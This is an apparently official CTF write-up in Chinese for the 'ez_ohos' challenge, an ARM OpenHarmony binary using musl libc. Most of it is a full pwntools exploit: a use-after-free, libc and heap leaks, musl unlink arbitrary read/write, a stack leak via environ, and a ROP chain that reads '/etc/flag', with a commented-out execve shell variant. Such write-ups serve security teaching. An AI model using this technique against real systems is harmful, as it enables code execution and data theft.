ez_ohos

点击此处获得更好的阅读体验


WriteUp来源

来自官方发布

https://www.xctf.org.cn/library/details/5acdc1c31cf4935ac38fce445978888a5710cf11/

题目描述

pwn it !

题目考点

  • uaf in musl libc

  • 通过show函数leak出libc, 由于堆地址特性, 可以同时获得堆基址和程序基址

  • 利用musl libc的解链机制构造任意地址读和任意地址写

  • 通过environ读出栈地址

  • rop

解题思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context(log_level = 'info',arch = 'arm')

def exp(offset=0):
# r = process("./start_qemu.sh".split())
r = remote("127.0.0.1",9999)
r.recvuntil("======= Welcome to OHOS ========")
def menu(idx):
r.sendlineafter(">>",str(idx))
def add(idx,sz,con):
menu(1)
r.sendlineafter("index?",str(idx))
r.sendlineafter("size?\r\r\n",str(sz))
r.sendafter("content?\r\r\n",con)
def fr(idx):
menu(3)
r.sendlineafter("index?",str(idx))
def edit(idx,con):
menu(2)
r.sendlineafter("index?",str(idx))
r.sendafter("content?\r\r\n",con)
def show(idx):
menu(4)
r.sendlineafter("index?\r\r\n",str(idx))

add(0,0x10,'\n')
add(1,0x10,'\n')
fr(1)
add(1,0x10,'\n')
r.recvuntil("[DEBUG] In: ")
libc = u32(r.recvn(4))
log.success(hex(libc))
heap = 0xea2b0+libc
log.success(hex(heap))

fr(1)
edit(1,flat(heap-0xc,heap-0x8,'\n'))
add(1,0x10,'a'*0xc+'\n')
edit(0,'a'*8+flat(0xdeadbeef,heap)+'\n')

def www(where,what):
edit(1,flat(where,'\n'))
edit(0,flat(what,'\n'))
def rww(where):
edit(1,flat(where,'\n'))
show(0)
r.recvuntil("[DEBUG] Out: ")
return r.recvuntil('\r\r\n',drop=True)

libcbase = libc - 0xa4950
environ = libcbase+0xA43DC

stack = u32(rww(environ)[:4])
log.success('stack: '+hex(stack))

# 0x0009142c : pop {r0, r1, r2, r3, ip, lr} ; bx lr
# 0x0004fcc0 : pop {r4, r5, r6, lr} ; bx r3
# 0x00084afc : ldr r0, [r6] ; mov r1, r8 ; mov r2, r3 ; blx r5

gadget = libcbase+0x0009142c
gadget1 = libcbase + 0x0004fcc0
buf = environ + 4
ret_addr = stack-0x1d4+0x34

# leak in regs
rop = flat(gadget, buf, 0, 0,libcbase+0x050988, 0, gadget1,0,0,0) #open
rop += flat(gadget, 9, buf, 0x50, libcbase+0x09AFC8, 0, gadget1,0,0,buf + offset) #read
rop += flat(libcbase+0x00084afc)
# rop += flat(gadget, 1, buf, 0x50, libcbase+0x09B848, 0, gadget1) #write
www(buf,'/etc/fl')
www(buf+7,'ag')

# execve
# execve = 0x077254+libcbase
# rop = flat(gadget, buf, buf, 0,execve, 0, gadget1,0,0,0) #open
# www(buf,'/bin/shell')

for i in range(len(rop)//4):
www(ret_addr+i*4,u32(rop[i*4:i*4+4]))


menu(5)
r.recvuntil("R0 = ")
leak = int(r.recvuntil("\r\n",drop=True),16)
log.success("leak: "+p32(leak))

r.close()
return leak
# r.interactive()
res = ''
for off in range(4):
res += p32(exp(off*4))

log.success(res)